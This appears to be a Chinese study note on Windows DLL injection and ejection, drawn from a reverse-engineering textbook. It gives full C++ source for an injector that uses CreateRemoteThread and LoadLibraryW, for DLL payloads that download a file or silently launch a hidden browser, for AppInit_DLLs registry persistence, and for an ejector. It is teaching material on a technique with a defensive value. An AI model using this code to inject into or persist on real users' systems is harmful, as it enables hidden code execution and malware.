8 - DLL注入和解除安裝
DLL注入和解除安裝
一、DLL注入
DLL注入:向執行中的其他程式強制插入特定的DLL檔案,主要是命令其他程式自行呼叫LoadLibrary() API,載入使用者指定的DLL檔案。
DLL注入與一般DLL載入的主要區別是載入的目標程式是其自身或其他程式。
1. DLL
DLL(Dynamic Linked Library,動態連結庫),DLL被載入到程式後會自動執行DllMain函式,使用者可以把想要執行的額程式碼放到DllMain函式,每當載入DLL時,新增的程式碼就會自動得到執行。利用該特性可以修復程式BUG,或向程式新增新功能。
// DllMain()函式 BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvRserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: // 新增想要執行的程式碼 break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; }
2. DLL注入例項
使用LoadLibrary()載入某個DLL時,該DLL中的DllMain()函式會被呼叫執行。DLL注入的原理就是從外部促使目標程式呼叫LoadLibrary() API。
- 改善功能與修復BUG
- 訊息鉤取--Windows 預設提供的訊息鉤取功能本質上應用的就是一種DLL注入技術
- API鉤取--先建立DLL形態的鉤取函式,然後注入要鉤取的目標程式,主要是應用了被注入的DLL擁有目標程式記憶體訪問許可權這一特性
- 其他應用程式--監視、管理PC使用者的應用程式
- 惡意程式碼--非法注入,進行程式碼隱藏
3. DLL注入的實現方法
1. 建立遠端執行緒(CreateRemoteThread() API)
此處主要記錄一下書上的原始碼分析,操作部分請自行實踐。
// myhack.cpp #include "windows.h" #include "tchar.h" #pragma comment(lib, "urlmon.lib") #define DEF_URL (L"http://www.naver.com/index.html") #define DEF_FILE_NAME (L"index.html") HMODULE g_hMod = NULL; DWORD WINAPI ThreadProc(LPVOID lParam) { TCHAR szPath[_MAX_PATH] = {0,}; if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) ) return FALSE; TCHAR *p = _tcsrchr( szPath, '\\' ); if( !p ) return FALSE; _tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME); //引數準備 URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL); //呼叫函式進行URL下載 return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { HANDLE hThread = NULL; g_hMod = (HMODULE)hinstDLL; switch( fdwReason ) { case DLL_PROCESS_ATTACH : OutputDebugString(L"<myhack.dll> Injection!!!"); //建立遠端執行緒進行download hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); // 需要注意,切記隨手關閉控制程式碼,保持好習慣 CloseHandle(hThread); break; } return TRUE; }
// InjectDll.cpp #include "windows.h" #include "tchar.h" BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath) { HANDLE hProcess = NULL, hThread = NULL; HMODULE hMod = NULL; LPVOID pRemoteBuf = NULL; //確定路徑需要佔用的緩衝區大小 DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR); LPTHREAD_START_ROUTINE pThreadProc; // #1. 使用OpenProcess函式獲取目標程式控制程式碼(PROCESS_ALL_ACCESS許可權) if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) { _tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError()); return FALSE; } // #2. 使用VirtualAllocEx函式在目標程式中分配記憶體,大小為szDllName // VirtualAllocEx函式返回的是hProcess指向的目標程式的分配所得緩衝區的記憶體地址 pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE); // #3. 將myhack.dll路徑 ("c:\\myhack.dll")寫入目標程式中分配到的記憶體 WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL); // #4. 獲取LoadLibraryA() API的地址 // 這裡主要利用來了kernel32.dll檔案在每個程式中的載入地址都相同這一特點,所以不管是獲取載入到 // InjectDll.exe還是notepad.exe程式的kernel32.dll中的LoadLibraryW函式的地址都是一樣的。這裡的載入地 // 址相同指的是在同一次系統執行中,如果再次啟動系統kernel32.dll的載入地址會變,但是每個程式的 // kernerl32.dll的載入地址還是一樣的。 hMod = GetModuleHandle(L"kernel32.dll"); pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW"); // #5. 在目標程式notepad.exe中執行遠端執行緒 // pThreadProc = notepad.exe程式記憶體中的LoadLibraryW()地址 // pRemoteBuf = notepad.exe程式記憶體中待載入注入dll的路徑字串的地址 hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL); WaitForSingleObject(hThread, INFINITE); //同樣,記得關閉控制程式碼 CloseHandle(hThread); CloseHandle(hProcess); return TRUE; } int _tmain(int argc, TCHAR *argv[]) { if( argc != 3) { _tprintf(L"USAGE : %s <pid> <dll_path>\n", argv[0]); return 1; } // change privilege if( !SetPrivilege(SE_DEBUG_NAME, TRUE) ) return 1; // inject dll if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) ) _tprintf(L"InjectDll(\"%s\") success!!!\n", argv[2]); else _tprintf(L"InjectDll(\"%s\") failed!!!\n", argv[2]); return 0; }
main()函式主要檢查輸入程式的引數,然後呼叫InjectDll函式。InjectDll函式是實施DLL注入的核心函式,功能是命令目標程式自行呼叫LoadLibrary API。
重點介紹一下CreateRemoteThread()函式,該函式在進行DLL注入時會經常用到,其函式原型如下:
CreateRemoteThread() HANDLE WINAPI CreateRemoteThread( __in HANDLE hProcess, //目標程式控制程式碼 __in LPSECURITY_ATTRIBUTES lpThreadAttributes, __in SIZE_T dwStackSize, __in LPTHREAD_START_ROUTNE lpStartAddress, //執行緒函式地址 __in LPVOID dwCreationFlags, //執行緒引數地址 __out LPDOWRD lpThreadId );
2. AppInit_DLLs
第二種方法是操作登錄檔,Windows的登錄檔中預設提供了AppInit_DLLs與LoadAppInit_DLLs兩個登錄檔項,只要將要注入DLL的路徑字串寫入AppInit_DLLs專案,並在LoadAppInit_DLLs中設定值為1,重啟時,系統就會將指定的DLL注入到所有執行程式中。主要原理是User32.dll被載入到程式時,會讀取AppInit_DLLs登錄檔項,若值為1,就呼叫LoadLibrary()函式載入使用者DLL。所以嚴格來說,是將注入DLL載入到使用user32.dll的程式中。
// myhack2.cpp // 主要作用是以隱藏模式執行IE,連線到指定網站 #include "windows.h" #include "tchar.h" #define DEF_CMD L"c:\\Program Files\\Internet Explorer\\iexplore.exe" #define DEF_ADDR L"http://www.naver.com" #define DEF_DST_PROC L"notepad.exe" BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { TCHAR szCmd[MAX_PATH] = {0,}; TCHAR szPath[MAX_PATH] = {0,}; TCHAR *p = NULL; STARTUPINFO si = {0,}; PROCESS_INFORMATION pi = {0,}; si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; switch( fdwReason ) { case DLL_PROCESS_ATTACH : if( !GetModuleFileName( NULL, szPath, MAX_PATH ) ) break; if( !(p = _tcsrchr(szPath, '\\')) ) break; if( _tcsicmp(p+1, DEF_DST_PROC) ) break; wsprintf(szCmd, L"%s %s", DEF_CMD, DEF_ADDR); if( !CreateProcess(NULL, (LPTSTR)(LPCTSTR)szCmd, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi) ) break; if( pi.hProcess != NULL ) CloseHandle(pi.hProcess); break; } return TRUE; }
將上述dll檔案複製到某個位置,修改登錄檔項HKEY_LOCAL_MACHINE\SOFTWARE\Microdoft\Windows NT\CurrentVersion\Windows
,將AppInit_DLLs項的值修改為待注入DLL的絕對路徑,然後修改LoadAppInit_DLLs登錄檔項的值為1,重啟,執行notepad.exe,就會看到DLL已經被注入。
3. 使用SetWindowsHookEx()函式
第三個方法就是訊息鉤取,使用SetWindowsHookEx安裝鉤子,將指定DLL強制注入程式。
二、DLL解除安裝
DLL解除安裝原理:驅使目標程式呼叫FreeLibrary()函式,即將FreeLibrary()函式的地址傳遞給CreateRemoteThread()函式的lpStartAddress引數,並把待解除安裝的DLL控制程式碼傳遞給lpParameter引數。
需要注意的一點是:引用計數問題。呼叫一次FreeLibrary()函式,引用計數就會-1。引用計數表示的是核心物件被使用的次數。
// EjectDll.exe #include "windows.h" #include "tlhelp32.h" #include "tchar.h" #define DEF_PROC_NAME (L"notepad.exe") #define DEF_DLL_NAME (L"myhack.dll") DWORD FindProcessID(LPCTSTR szProcessName) { DWORD dwPID = 0xFFFFFFFF; HANDLE hSnapShot = INVALID_HANDLE_VALUE; PROCESSENTRY32 pe; // 獲取系統快照 pe.dwSize = sizeof( PROCESSENTRY32 ); hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL ); // 查詢程式 Process32First(hSnapShot, &pe); do { if(!_tcsicmp(szProcessName, (LPCTSTR)pe.szExeFile)) { dwPID = pe.th32ProcessID; break; } } while(Process32Next(hSnapShot, &pe)); CloseHandle(hSnapShot); return dwPID; } BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid; if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { _tprintf(L"OpenProcessToken error: %u\n", GetLastError()); return FALSE; } if( !LookupPrivilegeValue(NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid) ) // receives LUID of privilege { _tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if( bEnablePrivilege ) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { _tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; } if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ) { _tprintf(L"The token does not have the specified privilege. \n"); return FALSE; } return TRUE; } BOOL EjectDll(DWORD dwPID, LPCTSTR szDllName) { BOOL bMore = FALSE, bFound = FALSE; HANDLE hSnapshot, hProcess, hThread; HMODULE hModule = NULL; MODULEENTRY32 me = { sizeof(me) }; LPTHREAD_START_ROUTINE pThreadProc; // dwPID = notepad 程式ID // 使用TH32CS_SNAPMODULE引數,獲取載入到notepad程式的DLL名稱 hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID); bMore = Module32First(hSnapshot, &me); for( ; bMore ; bMore = Module32Next(hSnapshot, &me) ) { if( !_tcsicmp((LPCTSTR)me.szModule, szDllName) || !_tcsicmp((LPCTSTR)me.szExePath, szDllName) ) { bFound = TRUE; break; } } if( !bFound ) { CloseHandle(hSnapshot); return FALSE; } if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) { _tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError()); return FALSE; } hModule = GetModuleHandle(L"kernel32.dll"); // 獲取FreeLibrary函式載入地址,並使用CreateRemoteThread進行呼叫 pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "FreeLibrary"); hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, me.modBaseAddr, 0, NULL); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CloseHandle(hProcess); CloseHandle(hSnapshot); return TRUE; } int _tmain(int argc, TCHAR* argv[]) { DWORD dwPID = 0xFFFFFFFF; // 查詢process dwPID = FindProcessID(DEF_PROC_NAME); if( dwPID == 0xFFFFFFFF ) { _tprintf(L"There is no <%s> process!\n", DEF_PROC_NAME); return 1; } _tprintf(L"PID of \"%s\" is %d\n", DEF_PROC_NAME, dwPID); // 更改 privilege if( !SetPrivilege(SE_DEBUG_NAME, TRUE) ) return 1; // 注入 dll if( EjectDll(dwPID, DEF_DLL_NAME) ) _tprintf(L"EjectDll(%d, \"%s\") success!!!\n", dwPID, DEF_DLL_NAME); else _tprintf(L"EjectDll(%d, \"%s\") failed!!!\n", dwPID, DEF_DLL_NAME); return 0; }
CreateToolhelp32Snapshot()函式主要用來獲取載入到程式的模組資訊,將獲取的hSnapshot控制程式碼傳遞給Module32First()/Module32Next()函式後,即可設定與MODULEENTRY32結構相關的模組資訊,以下為該結構的詳細定義:
typedef sturc tagMODULEENTRY32 { DWORD dwSize; DWORD th32ModuleID; // 該模組 DWORD th32ProcessID; // 模組擁有的程式 DWORD GlbcntUsage; //模組中的global usage計數 DWORD ProcessUsage; BYTE * modBaseAddr; //在程式的上下文中的模組的基地址 DWORD modBaseSize; // 在modBaseAddr開始位置的模組的大小(位元組為單位) HMODULE hModule; char szModule[MAX_MODULE_NAME32+1]; //DLL名稱 char szExePath[MAX_PATH]; }MODULEENTRY32;
參考
《逆向工程核心原理》
相關文章
- DLL解除安裝(建立遠端執行緒解除安裝強制注入的dll)2021-04-13執行緒
- Ubuntu解除安裝和安裝2020-10-20Ubuntu
- k8s解除安裝2024-10-22K8S
- C++ DLL注入和程式碼注入2013-10-04C++
- linux 解除安裝jdk和安裝2020-10-10LinuxJDK
- 達夢8資料庫安裝和解除安裝2020-08-07資料庫
- Ubuntu19 MySQL8 完全解除安裝、安裝和重設密碼2020-07-10UbuntuMySql密碼
- Laravel 8 安裝和解除安裝 Laravel Lang 語言包2022-03-05Laravel
- Ubuntu解除安裝及安裝node和npm2020-10-27UbuntuNPM
- 程式注入之DLL注入2018-04-17
- 七 GBase 8a MPP Cluster解除安裝2020-05-22
- 【RAC】 RAC For W2K8R2 安裝--解除安裝(八)2016-01-30
- ubuntu安裝和解除安裝ibus和fcitx2017-01-09Ubuntu
- Android靜默安裝和靜默解除安裝2016-01-08Android
- vs2015解除安裝和安裝2024-08-02
- 雙系統如何解除安裝win82016-06-22
- 安裝和配置Drupal 8教程,如何安裝和配置Drupal 8?2017-07-10
- webpack全域性和區域性安裝、解除安裝和執行2018-09-19Web
- docker安裝及解除安裝2021-06-19Docker
- Oracle 安裝與解除安裝2011-04-14Oracle
- solaris mysql 安裝 解除安裝2013-02-28MySql
- JDK安裝和解除安裝2024-08-01JDK
- 解除安裝RAC2014-07-22
- 解除安裝CRS2010-02-24
- JDK 解除安裝2016-05-19JDK
- oracle解除安裝2009-09-03Oracle
- ORACLE 解除安裝2009-12-04Oracle
- docker 解除安裝2024-04-29Docker
- WSL解除安裝2024-12-02
- centos7 解除安裝和重新安裝yum2020-10-17CentOS
- cocoapods安裝/解除安裝/使用2019-07-04
- Mac Redis安裝與解除安裝2018-10-30MacRedis
- Ubuntu安裝和解除安裝mongodb2020-12-02UbuntuMongoDB
- [雲原生]Docker - 安裝&解除安裝2021-12-08Docker
- JDK的安裝與解除安裝2020-09-29JDK
- ORACLE TEXT安裝與解除安裝2016-11-16Oracle
- Linux安裝解除安裝MySQL2024-05-24LinuxMySql
- window下安裝並使用nvm(含解除安裝node、解除安裝nvm、全域性安裝npm)2024-06-26NPM